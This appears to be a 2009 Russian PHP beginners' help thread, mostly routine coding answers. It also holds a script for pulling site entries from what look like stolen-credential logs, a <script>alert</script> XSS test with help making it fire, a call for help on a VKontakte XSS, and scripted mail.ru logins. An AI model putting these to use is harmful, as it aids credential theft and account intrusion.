Просмотр полной версии : [php] Новичкам: задаем вопросы
Patronik
14.06.2009, 19:26
привет всем! У меня небольшая проблемка. Написал я простую гостевую книгу на php.
Все у меня работает сообщения выводяться в нужном порядке.
Только не могу дописать в код навигацыю по гостевой книге, може поможете. Я имею ввиду дописать Ссилки типа "Предидущие" "Следущие".
сообщения храняться в файлах в папке "mes" файлы в масиве $me[]; и виводяться таким кодом:
$size = sizeof($me);
if ($size != 0)
{
asort($me);
for($i=$start; $i<$count; $i++)
{
include ("$dirname/$me[$i]");
echo'<br><hr>';
}
}
В конце надо сделать так чтобы на странице было не больше 10 сообщений и стрелки навигацыи.
$size = sizeof($me);
if ($size != 0) {
asort($me);
if (isset($_GET['next'])) $start += 10;
if (isset($_GET['prev'])) $start -= 10;
for($i=$start; $i<10; $i++) {
include ("$dirname/$me[$i]");
echo'<br><hr>';
}
echo '<a href="?next">next</a>';
echo '<a href="?prev"> prev </a>';
}
KaZ@NoVa
14.06.2009, 20:00
я прошу хотябы подсказать какую функцию использовать для поиска в файле.
Нихрена не понял... можно поподробнее и, желательно, с примерами?
Chrek625
14.06.2009, 21:01
Вот пример:
https://blablablabla.com
LOGONPAGE=LOGONPAGE
screenRes=1024x768
timezone=GMT 0000
Java=On
UserId1=1234214
Password=qwerty
QQpass=qwerty
нечто подобное к примеру находиться в файлах. меня интересует с помощью какой функции можно найти строчку с адресом и считать её и несколько строк следующих за ней.
.:EnoT:.
14.06.2009, 21:15
Ну регулярками, или file() и поиск по массиву. А следующие строчки $file[$key + 1], $file[$key + 2]
Pashkela
14.06.2009, 21:40
<pre>
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
$b = 8; //Кол-во строчек с нужной нам инфо, следующее за названием сайта (включая пустые строки, до следующего названия сайта)
$z = fopen('tema2.txt', 'a'); // Файл-результат по запросу
$submit = $_POST['submit'];
if(isset($submit))
{
$site = trim($_POST['site']);//Сайт, данные по которому нам нужны
$a = fopen('tema1.txt','r'); //Файл с данными
while(!feof($a)) {
$buffer = trim(fgets($a));
if (preg_match('|' . $site . '|',$buffer)) {
for ($i=1; $i<=$b; $i++) {
echo "$buffer\n";
fwrite ($z,"$buffer\r\n");
$buffer = trim(fgets($a));
}
}
}
fwrite ($z,"=====================\r\n");
fclose ($a);
}
?>
</pre>
<html>
<head>
<meta http-equiv="Content-Type" content="text; charset=windows-1251">
<title>FTP2FTP</title>
</head>
<bоdу>
<div align="center">
<form method="post">
<table>
<tr><td><span>Input site name:</span></td><td><input type="text" name="site" /></td></tr>
</table>
<input type="submit" name="submit" value="Find" />
</form>
</div>
</bоdу>
</html>
причем можно воодить без "http" или просто часть названия сайта
KaZ@NoVa
14.06.2009, 23:33
Вот пример:
https://blablablabla.com
LOGONPAGE=LOGONPAGE
screenRes=1024x768
timezone=GMT 0000
Java=On
UserId1=1234214
Password=qwerty
QQpass=qwerty
нечто подобное к примеру находиться в файлах. меня интересует с помощью какой функции можно найти строчку с адресом и считать её и несколько строк следующих за ней.
$data = file ( $filename );
Теперь в $data будет массив строк:
$data[0] == 'https://blablablabla.com';
$data[1] == 'LOGONPAGE=LOGONPAGE';
$data[2] == 'screenRes=1024x768';
etc...
P.S. Данные типа Java и ScreenRes для передачи на вход ресивера в системе супербана? =)
Patronik
15.06.2009, 17:04
как записать три строки в файл? Например первая $name втроая $email треяя $message.
Чтобы потом масив $data[0] содержал $name $data[1] содержал $email $data[2] содержал $message.
У меня получаеться так но если я в $message записиваю несколько строк с пробелами и с "ентер" например "авбгд
авбвгд
абвгд"
То потом у меня $data[2] содержыт только "авбгд" а мне нужно чтобы вивести потом все ссобщение а не только первую строку.
k.sergey
15.06.2009, 17:47
как записать три строки в файл?
при записи заменять символы переноса каретки на <br>
Patronik
15.06.2009, 17:55
Можно поконкретней, я записиваю так:
fputs($file,$name."\n");
fputs($file,$email."\n");
fputs($file,$message."\n");
Считиваю так
for($i2 = $start; $i2<$count; $i2++)
{
$entry = $me[$i2];
$data = file("mes/$me[$i2]");
$name = trim($data[0]);
$email = trim($data[1]);
$message = trim($data[2]);
}
KaZ@NoVa
15.06.2009, 18:02
как записать три строки в файл? Например первая $name втроая $email треяя $message.
Чтобы потом масив $data[0] содержал $name $data[1] содержал $email $data[2] содержал $message.
У меня получаеться так но если я в $message записиваю несколько строк с пробелами и с "ентер" например "авбгд
авбвгд
абвгд"
То потом у меня $data[2] содержыт только "авбгд" а мне нужно чтобы вивести потом все ссобщение а не только первую строку.
Перед записью для всех переменных делаешь:
$var = str_replace ( "\n" , '\n' , $var );
А при чтении потом:
$var = str_replace ( '\n' , "\n" , $var );
k.sergey
15.06.2009, 18:06
можно перед записью заменить символы переноса каретки на тег <br>
$message=str_replace("\n","<br>",$message);
тогда у вас в файле будет одна строка
$data[2] = "авбгд<br>авбвгд<br>абвгд";
вставлю своих 5 коп
<?php
$msg="
авбгд
авбвгд
абвгд";
$msgtrue=str_replace("\n","",$msg);
echo $msgtrue;// авбгд авбвгд абвгд
?>
mailbrush
15.06.2009, 19:43
Эй, народ, что ЭТО такое??? Отвечу - это полтора страницы быдлокодов.
Patronik, Запись:
<?
$name='Павел Дуров'; #имя
$email='admin@vkontakte.ru'; #емейл
$message='Привет всем!'; #сообщение
$file='info.txt'; #файл для записи
fwrite(fopen($file,'a+'),$name."\r\n".$email."\r\n".$message); #запись в файл
?>
Чтение:
<?
$file='info.txt'; #файл для чтение
$data=file($file); #читаем файл
/*
$data выйдет
Array
(
[0] => Павел Дуров
[1] => admin@vkontakte.ru
[2] => Привет всем!
)
*/
?>
Считиваю так
$name = trim($data[0]);
$email = trim($data[1]);
$message = trim($data[2]);
Я бы считал так:
$name = array_shift($data);
$email = array_shift($data);
$message = implode(" ", $data);
mailbrush
15.06.2009, 19:44
Я бы считал так:
$name = array_shift($data);
$email = array_shift($data);
$message = implode(" ", $data);
Мда, почитай о функции file()
http://php.net/file
Мда, почитай о функции file()
http://php.net/file
Специально для тебя всё по-порядку:
1)
как записать три строки в файл? Например первая $name втроая $email треяя $message.
Чтобы потом масив $data[0] содержал $name $data[1] содержал $email $data[2] содержал $message.
У меня получаеться так но если я в $message записиваю несколько строк с пробелами и с "ентер" например "авбгд
авбвгд
абвгд"
То потом у меня $data[2] содержыт только "авбгд" а мне нужно чтобы вивести потом все ссобщение а не только первую строку.
2)
Можно поконкретней, я записиваю так:
fputs($file,$name."\n");
fputs($file,$email."\n");
fputs($file,$message."\n");
Считиваю так
for($i2 = $start; $i2<$count; $i2++)
{
$entry = $me[$i2];
$data = file("mes/$me[$i2]");
$name = trim($data[0]);
$email = trim($data[1]);
$message = trim($data[2]);
}
3)
Я бы считал так:
$name = array_shift($data);
$email = array_shift($data);
$message = implode(" ", $data);
То есть вместо кода
$name = trim($data[0]);
$email = trim($data[1]);
$message = trim($data[2]);
Я предлагаю
$name = array_shift($data);
$email = array_shift($data);
$message = implode(" ", $data);
Про file() я знаю, эта функция там присутствует...
К томуже мой вариант решает проблему
То потом у меня $data[2] содержыт только "авбгд" а мне нужно чтобы вивести потом все ссобщение а не только первую строку.
А твой нет...
есть xss вконтакте, нужна помощь чтобы доработать пишите в лс
Код:
while (!feof($file)){
$buff = fgets($file,4096);
$i++;
$ex1 = explode(";",$file);
$ex2 = explode("-",$file);
echo "<tr><td width=\"28\" height=\"23\"><center>".$i."</center></td><td width=\"107\"><center>".$ex1[0]."</center></td><td width=\"43\"><center>".$ex2[1]."</center></td>,</tr>";
}
Проблема в том что отображаеться в поле вместо содержания $ex1[0] отображается "Resource id #4" а вместо $ex2[1] - ничего
Ах да все что было в файле удаляется при этом
В чем проблема?
В файле из которого вывожу примерно это
123456;098732-15
mailbrush
16.06.2009, 01:16
<?
$file=file('info.txt');
foreach($file as $line){
$i++;
$ex1 = explode(";",$line);
$ex2 = explode("-",$line);
echo "<tr><td width=\"28\" height=\"23\"><center>".$i."</center></td><td width=\"107\"><center>".$ex1[0]."</center></td><td width=\"43\"><center>".@$ex2[1]."</center></td>,</tr>";
}
?>
Так устраивает? Намного легче + удобнее.
ЗЫ: Если надо все таки тот вариант, читай с буффера, а не с хендла
<?
$file=fopen('info.txt','a+');
while (!feof($file)){
$buff = fgets($file,4096);
$i++;
$ex1 = explode(";",$buff); //посмотри у себя
$ex2 = explode("-",$buff); //посмотри у себя
echo "<tr><td width=\"28\" height=\"23\"><center>".$i."</center></td><td width=\"107\"><center>".$ex1[0]."</center></td><td width=\"43\"><center>".$ex2[1]."</center></td>,</tr>";
}
?>
<?
$file=file('info.txt');
foreach($file as $line){
$i++;
$ex1 = explode(";",$line);
$ex2 = explode("-",$line);
echo "<tr><td width=\"28\" height=\"23\"><center>".$i."</center></td><td width=\"107\"><center>".$ex1[0]."</center></td><td width=\"43\"><center>".@$ex2[1]."</center></td>,</tr>";
}
?>
Так устраивает? Намного легче + удобнее.
ЗЫ: Если надо все таки тот вариант, читай с буффера, а не с хендла
<?
$file=fopen('info.txt','a+');
while (!feof($file)){
$buff = fgets($file,4096);
$i++;
$ex1 = explode(";",$buff); //посмотри у себя
$ex2 = explode("-",$buff); //посмотри у себя
echo "<tr><td width=\"28\" height=\"23\"><center>".$i."</center></td><td width=\"107\"><center>".$ex1[0]."</center></td><td width=\"43\"><center>".$ex2[1]."</center></td>,</tr>";
}
?>
Спасибо большое! ;)
Вот такой вопрос ко всем...
Нужно сделать задержку в миллисекундах (на php)
Как это реализовать? подчеркиваю что в миллисекундах нужна задержка а не в секундах
Pashkela
16.06.2009, 04:05
http://us.php.net/manual/en/function.usleep.php
Patronik
16.06.2009, 09:13
Эй, народ, что ЭТО такое??? Отвечу - это полтора страницы быдлокодов.
Patronik, Запись:
<?
$name='Павел Дуров'; #имя
$email='admin@vkontakte.ru'; #емейл
$message='Привет всем!'; #сообщение
$file='info.txt'; #файл для записи
fwrite(fopen($file,'a+'),$name."\r\n".$email."\r\n".$message); #запись в файл
?>
Чтение:
<?
$file='info.txt'; #файл для чтение
$data=file($file); #читаем файл
/*
$data выйдет
Array
(
[0] => Павел Дуров
[1] => admin@vkontakte.ru
[2] => Привет всем!
)
*/
?>
Я знаю функцию file(); и использовал ее там, читай внимательно. Проблему решыл заменой перед записю символов переноса строки на тег <br>. Всем спасибо! Все работает
Код:
<?php
if (isset($_POST['do'])){
print($_POST['zzz']);
}
?>
<html>
<form method="post">
<textarea name="zzz" cols="40" rows="6"></textarea>
<input type="submit" name="do" value="OK">
</form>
</html>
Когда вставляю
<script>alert('')</script>
То перед ' подставляеться "\" (без ковычек)
Что делать чтобы не подставлялся этот символ? (дада чтобы не подставлялся и чтобы алерт сработал)
Extremal
16.06.2009, 19:52
2diznt
<html>
<form method="post">
<textarea name="zzz" cols="40" rows="6"></textarea>
<input type="submit" name="do" value="OK">
</form>
</html>
<?php
if($_POST['do']){
echo stripslashes($_POST['zzz']) ;
}
?>
FireFenix
16.06.2009, 19:52
Крути в настройках php - Magic Quotes GPC
1.Как сделать подсчет строк в textarea?
2.Есть таблица(пусть название будет "Users" (без ковычек))... Там есть две колонки, в одной колонке под названием "Points" (без ковычек) собираються очки юзера (вторая колонка под названием "Username" (без ковычек))
Вообщем надо сделать что-то по типу ТОП-10 ... то есть вывести 10 юзеров у кого больше всех очков
Как это реализовать?
Extremal
17.06.2009, 00:41
to diznt
2.Есть таблица... Там есть две колонки, в одной колонке под названием "Points" (без ковычек) собираються очки юзера (вторая колонка под названием "Username" (без ковычек))
Вообщем надо сделать что-то по типу ТОП-10 ... то есть вывести 10 юзеров у кого больше всех очков
Как это реализовать?
$result= mysql_query("SELECT * FROM table ORDER BY Points DESC LIMIT 1,10");
Pashkela
17.06.2009, 01:38
1.Как сделать подсчет строк в textarea?
<?
$submit = $_POST['submit'];
if(isset($submit)) {
$file = $_POST['info'];
$arr = explode("\r\n",$file);
echo count($arr) . " lines";
} else {
Echo '
<form method = "POST">
<tr><td><textarea name="info" cols="20" rows="10"></textarea></td></tr>
<input type = "submit" name="submit" value = "Count lines"><br />
</form>';
}
?>
можешь вставить в textarea этот код и посчитать кол-во строчек в нем:)
erihtoney
17.06.2009, 09:09
2.Есть таблица(пусть название будет "Users" (без ковычек))... Там есть две колонки, в одной колонке под названием "Points" (без ковычек) собираються очки юзера (вторая колонка под названием "Username" (без ковычек))
Вообщем надо сделать что-то по типу ТОП-10 ... то есть вывести 10 юзеров у кого больше всех очков
Как это реализовать?
<table border="0" width=100%>
<tr>
<td><b>#</b></td><td><b>login</b></td><td><b>рейтинг</b></td>
</tr>
<?php
$i=0;
$result10=mysql_query("SELECT username,points FROM users order by points desc limit 10");
$myrow_top10=mysql_fetch_array($result10);
do {
$i++;
printf ("<tr>
<td>$i</td>
<td>%s</td>
<td><b>%s</b></td>
</tr>",
$myrow_top10[username],$myrow_top10[points]);
}
while($myrow_top10=mysql_fetch_array($result10));
?>
</table>
erihtoney, если в таблице ни одной записи, то выведется одна пустая строка.
Правильнее:
//...
if(mysql_num_rows($result10)<1)
{
print '<tr><td colspan=3>Результатов нет</td></tr>';
}
else
{
while($myrow_top10=mysql_fetch_array($result10))
{
//... действия по выводу
}
}
//..
Еще неплохо делать mysql_free_result($result10).
Вместо mysql_fetch_array оптимальнее использовать mysql_fetch_assoc или mysql_fetch_array($result10,MYSQL_ASSOC);
1.Как сделать подсчет строк в textarea?
Если надо локально, без отправки текста на сервер, то вот:
<html><body>
<textarea onchange='countstr(this.value);' onkeyup='countstr(this.value);'>
</textarea>
<br>Строк: <span id='strnum'></span>
<script language='JavaScript'>
function countstr(text)
{
document.getElementById('strnum').innerHTML= text.length - text.replace(/\n/g,'').length;
}
</script>
</body></html>
brain[pillow]
17.06.2009, 16:40
Есть сайт, работающий только через SSL. Нужно соединиться с ним через HTTPS-прокси.
Адрес HTTPS-прокси допустим proxy.ru:80
$socket = fsockopen('proxy.ru',80,$errn,$errd,10);
$packet = "GET /opa HTTP/1.1\r\nHost: site.com\r\n\r\n".
fwrite($socket,$packet);
fclose($socket);
Так не пашет (редиректит через 302 - location: https://blabla)
Host: site.com:443
Так тоже не пашет (тот же редирект)
Host: ssl://site.com
Так собственно тоже не пашет (ошибка 502).
В чём трабл?
mailbrush
17.06.2009, 16:43
Используй cURL (http://php.net/curl)
brain[pillow]
17.06.2009, 16:45
Можно обойтись и сокетами. Просто я не знаю как.
А если так\
$socket = fsockopen ('ssl://proxy.ru'...);
$packet = "GET site.com:443"...
?
brain[pillow]
17.06.2009, 17:11
Пробывал, получил в ответ:
Warning: fsockopen() [function.fsockopen]: SSL operation failed with code 1. OpenSSL Error messages: error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol
Используй cURL (http://php.net/curl)
Curl для работы с прокси не очень.
Лучше юзать сокеты
Помогите тут (http://win.mail.ru/cgi-bin/loginagent) авторизоваться...
http://koi.mail.ru/cgi-bin/auth
Login
Password
Domain
Что не понятно?
Всё понятно, только когда курлом шлю, вылезает алерт "Невозможно было авторизоваться" и за ним ещё один "Вы действительно хотите уйти с этой страницы ?"
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_URL, "http://koi.mail.ru/cgi-bin/auth");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'page=http%3A%2F%2Fwmrim.mail.ru%2Fwin%2Fcontactli st.html&FailPage=http%3A%2F%2Fwin.mail.ru%2Fcgi-bin%2Floginagent&post=&login_from=&Login=login&Domain=mail.ru&Password=pass&x=31&y=14');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/.cookie');
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1");
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
?>
Всё понятно, только когда курлом шлю, вылезает алерт "Невозможно было авторизоваться" и за ним ещё один "Вы действительно хотите уйти с этой страницы ?"
Авторизуешься ты вот так:
$cl = curl_init();
curl_setopt($cl, CURLOPT_URL,
'http://koi.mail.ru/cgi-bin/auth?page=http%3A%2F%2Fwmrim.mail.ru%2Fwin%2Fconta ctlist.html&FailPage=http%3A%2F%2Fwin.mail.ru%2Fcgi-bin%2Floginagent&post=&login_from=&Login=логин&Domain=mail.ru&Password=пароль&x=0&y=0');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
$ex = curl_exec($cl);
Если сразу после этого сделаешь:
$cl = curl_init();
curl_setopt($cl, CURLOPT_URL, 'http://win.mail.ru/cgi-bin/start?back=1');
curl_setopt($cl, CURLOPT_COOKIEFILE,$_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
$ex = curl_exec($cl);
echo $ex;
То попадёшь в почтовый ящик, что говорит о том, что авторизация прошла успешно...
Но туда, куда тебе надо (http://wmrim.mail.ru/win/contactlist.html?post=&x=0&y=0&login_from= как я понял) просто так не пускает..
FireFenix
17.06.2009, 18:35
<form method="post" action="?">
<input type="text" name="Login" value=""><br>
<input type="text" name="Password" value=""><br>
<select name="Domain">
<option value="mail.ru" selected>@mail.ru</option>
<option value="inbox.ru" >@inbox.ru</option>
<option value="bk.ru" >@bk.ru</option>
<option value="list.ru" >@list.ru</option>
</select><br>
<input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label><br>
<input type="submit" value="Отправить">
</form>
<?php
if (isset($_POST['Login']) && isset($_POST['Password']) && isset($_POST['Domain']))
{
foreach ($_POST as $key => $value)
{
if (strlen($post) > 0) {$post .= '&';}
$post .= $key . '=' . $_POST[$key];
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_URL, "http://koi.mail.ru/cgi-bin/auth");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1");
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
echo($result);
}
?>
У меня вот всё работает :)
FireFenix, ты авторизовался просто в mail.ru, а не в мейл-агенте, как просят.
Туда пускает, просто там всё реализовано с помощью AJAX, курл не поможет. Когда я писал скрипт для отправки sms через мейл-агент, помимо авторизации там требовалось поддерживать еще одно keep-alive соединение, иначе сервер просто выкидывал.
Что именно требуется? Получить контакт-лист?
FireFenix
17.06.2009, 18:45
Упс, сотрел тока на линк авторизации
Что именно требуется? Получить контакт-лист?
Да
Вроде бы есть класс для работы с mrim на php, у меня нет сейчас времени смотреть, как конкретно отсылаются пакеты. Возможно, легче реализовать получение контакт-листа не через веб-агент (описание протокола есть тут: http://agent.mail.ru/ru/developers/protocol.html).
Например, можно тут (http://gibs0n.name/mainpage/view/article/Описание+протокола+Mail.Ru+аге нта) почитать
Все-таки сделал
<?php
$login='мыло';
$pass='пасс';
$pr='';$pp=''; //адрес прокси и порт, если надо
$res=socket_do('win.mail.ru','/cgi-bin/loginagent','','GET','','',0,$pr,$pp);
preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook);
foreach($cook[1] as $ck)
{
$cookies[]=$ck;
}
$tmpcookie=implode('; ',array_unique($cookies));
$res=socket_do('koi.mail.ru','/cgi-bin/auth',"page=http%3A%2F%2Fwmrim.mail.ru%2Fwin%2Fcontactlis t.html&FailPage=http%3A%2F%2Fwin.mail.ru%2Fcgi-bin%2Floginagent&post=&login_from=&Login=$login&Domain=$domain&Password=$pass&level=1&x=11&y=12",'POST',$tmpcookie,'http://win.mail.ru/cgi-bin/loginagent',0,$pr,$pp);
preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook);
foreach($cook[1] as $ck)
{
$cookies[]=$ck;
}
$cookies=implode('; ',array_unique($cookies));
preg_match("/Location: http:\/\/koi\.mail\.ru\/cgi\-bin\/checkcookie\?(.+)\r\n/iUs",$res,$m);
if(!isset($m[1]))
die("Ошибка при входе.");
$res=socket_do('koi.mail.ru','/cgi-bin/checkcookie?'.$m[1],'','GET',$cookies,'http://win.mail.ru/cgi-bin/loginagent',0,$pr,$pp);
preg_match("/Location: (.+)\r\n/iUs",$res,$m);
if(!isset($m[1]))
die("Ошибка при входе.");
$tmp=explode('/',$m[1],4);
$res=socket_do('wmrim.mail.ru','/'.$tmp[3],'','GET',$cookies,'http://win.mail.ru/cgi-bin/loginagent',0,$pr,$pp);
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
if(!$sock)
die("Ошибка при создании сокета.");
if($pr)
{
@socket_connect($sock,$pr,$pp) or die("Ошибка при работе с сокетами.");
$request = "POST http://wmrim.mail.ru/connect HTTP/1.0\r\n";
}
else
{
$mip=@gethostbyname('wmrim.mail.ru');
@socket_connect($sock,$mip,"80") or die("Ошибка при работе с сокетами.");
$request = "POST /connect HTTP/1.0\r\n";
}
@socket_set_nonblock($sock) or die("Ошибка при работе с сокетами.");
if(@socket_select($r = null, $w = array($sock), $f = null, 5)!=1)
die("Ошибка при работе с сокетами.");
$request.= "Host: wmrim.mail.ru\r\n";
$request.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
$request.= "Referer: {$m[1]}\r\n";
$request.= "Content-Type: application/xml\r\n";
$request.= "Content-Length: ".strlen('status=1')."\r\n";
$request.= "Connection: keep-alive\r\n";
$request.= "Keep-alive: 300\r\n";
$request.= "Cookie: $cookies\r\n";
$request.= "\r\n";
@socket_write($sock,$request.'status=1') or die("Ошибка при работе с сокетами.");
if(@socket_select($r = array($sock), $w = null, $f = null, 5)!=1)
die("Ошибка при работе с сокетами.");
$ret=@socket_read($sock,1000) or die("Ошибка при работе с сокетами.");
if(strpos($ret,"MRIM_CS_LOGIN_REJ, {reason:\"Invalid session\"}")!==false)
{
@socket_close($sock);
die("Ошибка авторизации в mail-агенте.");
}
if(@socket_select($r = array($sock), $w = null, $f = null, 5)!=1)
die("Ошибка при работе с сокетами.");
$ret=@socket_read($sock,100000) or die("Ошибка при работе с сокетами.");
print htmlspecialchars($ret); //вот отсюда брать контакт-лист
@socket_close($sock);
usleep($wt*1000);
function socket_do($page,$suri,$data,$method,$cook,$ref,$cl ose=0,$pr='',$pp=0)
{
if($pr)
{
$request="$method http://$page$suri HTTP/1.0\r\n";
$fp=fsockopen("tcp://".$pr,$pp,$errno,$errstr,30);
}
else
{
$request = "$method $suri HTTP/1.0\r\n";
$fp=fsockopen('tcp://'.$page,80,$errorNumber,$errorString,30);
}
if(!$fp) die("Ошибка при работе с сокетами.");
@stream_set_timeout($fp,30);
$request.= "Host: $page\r\n";
$request.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
if($ref) $request.= "Referer: $ref\r\n";
if($method=='POST')
{
$request.= "Content-Type: application/x-www-form-urlencoded\r\n";
$request.= "Content-Length: ".strlen($data)."\r\n";
}
$request.= "Connection: close\r\n";
if($cook)
$request.="Cookie: $cook\r\n";
$request.="\r\n";
$request.=$data;
fputs($fp,$request);
$res="";
while(!feof($fp))
{
$res.=fgets($fp,128);
if($close) break;
}
fclose($fp);
return $res;
}
?>
Из того, что в конце получает скрипт, несложно получить и контакт-лист.
PS. На денвере работать не будет.
У меня слишком много результатов вывода из Mysql
Я хотел бы их по страницам разбить (выводы)
Как это сделать?
http://alt-f4.ru/php-mysql-output-by-page
shellz[21h]
17.06.2009, 23:50
<?php
$min = 0;
$max = 25;
for ($i = 1; $i < 12; $i++)
{
for($j = $min; $j < $max; $j++)
{
$e .= "num: ".$j."\n";
}
$min += $max;
$max += $max;
}
echo $e."\n";
?>
В чем трабла, цыкл доходит до 99, и начинается с 175, в идеале должен дойти 299, прибавляя за итерацию 25.
']
<?php
$min = 0;
$max = 25;
for ($i = 1; $i < 12; $i++)
{
for($j = $min; $j < $max; $j++)
{
$e .= "num: ".$j."\n";
}
$min += $max;
$max += $max;
}
echo $e."\n";
?>
В чем трабла, цыкл доходит до 99, и начинается с 175, в идеале должен дойти 299, прибавляя за итерацию 25.
Попахивает говнокоденгомь=(
shellz[21h]
18.06.2009, 00:10
тем не менее, а проблема не решина.
должен дойти 299, прибавляя за итерацию 25.
for($i=0;$i<=299;$i+=25)
print $i.'<br>';
тем неменее,зачем так усложнять?Составь один цикл,и живи спокойно.
Chrek625
18.06.2009, 00:18
Доброго времени суток. подскажите есть ли какая то фуркция для того чтоб перевернуть строку в пхп тоесть данная к примеру строка 1234567 а надо получить 7654321.
http://ru2.php.net/manual/ru/function.strrev.php
<html>
<body>
<?php
$i = 1;
if ($i == 1){
echo "Пыщь";
die();
}
echo "Пыщь2222";
?>
<br>
<br>
<?php
echo "ы";
?>
</body>
</html>
Собственно "ы" должно еще высветиться
Но как сделать чтобы оно высветилось когда до него есть die() (в if'е) ?
die() нельзя убирать
echo.php
<?
echo "Ы!";
?>
..
die(include("echo.php"));
ы? даже не проверял :D
Или:
<html>
<body>
<?php
$i = 1;
if ($i == 1){
echo "Пыщь";
die("<br>
<br>
ы
</body>
</html>");
}
echo "Пыщь2222"
?>
Зачем это делать? После die скрипт не выполняется в любом случае.
Перед самым выходом неявно можно так, но это все равно не после die )
<?php
class test
{
function __destruct()
{
print "ы";
}
}
$a=new test;
die();
?>
m0Hze так не идет... "Ы" должно после "пыщь2222" выводиться
159932 что мне тогда делать? в таблице у меня основной код а я хотел бы еще снизу поставить текст который вызывается из настроек (-> из php файла)
как уже сказал диикс, после дай'а ничего не будет..
ты про if/else слышал? хули на елсе не сделать?
как уже сказал диикс, после дай'а ничего не будет..
ты про if/else слышал? хули на елсе не сделать?
да все все не ругайся :D
Уже все понял (просто код лень переписывать вот и спросил)
shellz[21h]
18.06.2009, 01:01
for($i=0;$i<=299;$i+=25)
print $i.'<br>';
Возможно я не правильно вырозился, мне нужно чтоб за интерацию первого цыкла, второй цыкл проганял 25 интераций и так 12 раз. должно получится 1-299 по 25 за интерацию первого цыкла.
<?php
$min = 0;
$max = 25;
$step = 25;
for ($i = 0; $i < 12; $i++){
for($j = $min; $j < $max; $j++){
echo $j."\n";
}
$min += $step;
$max += $step;
}
?>
Или покороче:
<?php
$max = 25;
$step = 25;
for ($i = 0; $i < 12; $i++,$min+=$step,$max+=$step){
for($j = $min; $j < $max; $j++){
echo "num: ".$j."\n";
}
}
?>
shellz[21h]
18.06.2009, 01:38
благодарю..
Chrek625
18.06.2009, 02:49
как сделть так чтобы при условии что в строке количество символов не дающее при деление на 6 целого числа, то к выражению которое делиться в начале добавлялся 0.
я определил количество символов но не знаю как сделать так чтобы при услови что is_int() даёт тру добавлялся 0 в начало выражения.
ПОдскажите вобщем с помощью какой функци или как добавлять к строчке 0???
как сделть так чтобы при условии что в строке количество символов не дающее при деление на 6 целого числа, то к выражению которое делиться в начале добавлялся 0.
я определил количество символов но не знаю как сделать так чтобы при услови что is_int() даёт тру добавлялся 0 в начало выражения.
ПОдскажите вобщем с помощью какой функци или как добавлять к строчке 0???
<?php
$string = "строка";
$string = str_pad($string, strlen($string)+1, "0", STR_PAD_LEFT);
echo $string;
?>
Chrek625
18.06.2009, 06:56
я только учу PHP поэтому не всё понимаю. Обьясните в чём я ошибся почему не работает скрипт:
<?php
@set_time_limit(0);
$messeg = "1100011111";
$koll = strlen($messeg); // считаем количество символо
$perv = strrev($messeg); // Переворачиваем строку
$nnn = ($koll / 6);
while (!is_int($nnn)){
$perv = str_pad($perv, strlen($perv)+1, "0", STR_PAD_LEFT);
}
print "$koll"."<br/>";
print "$perv";
?>
Chrek625 while (!is_int($nnn)) - создает бесконечный цикл.
На предыдущей странице у .:EnoT:. решение вашей задачки, если же требуется дополнить строку нулями, чтобы число знаков было кратно 6, то:
$input = '1234567';
$len = strlen($input);
if ($len % 6) {$out = str_pad($input, $len+(6-$len % 6), "0", STR_PAD_LEFT); }
else $out = $input;
var_dump($out);
STLcRash
18.06.2009, 12:47
Вот PHP скрипт:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>просмотр данных</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
</head>
<body>
<form method="POST" action="index.php">
<label>
Введите id<br>
<input type="text" name="id"/>
</label>
<input name="post" type="submit" value="Отправить"/>
</form>
После нажатия на кнопку "отправить" должна появляться ссылки вида "http://бла_бла_бла=XXXX"
Где "ХХХХ" - число, введённое в "<input type="text" name="id"/>"
Вопрос: где должен храниться файл со ссылками и какой вид он должен иметь? (расширение, дериктория, содержание файла)
если хочешь что ссылка была вида http://site.ru/index.php?id=5
то:
1. Форма должна быть с method="GET"
2. правильный action указывай или если обработчик формы в файле формы то вообще его не указуй, а там где обработчик сделай if(isset($_GET['post'])) { чтобы была проверка или отправлен запрос
помогите решить вопрос. а то у меня трабла какае-то. вот уже мучаюсь 2 часа.
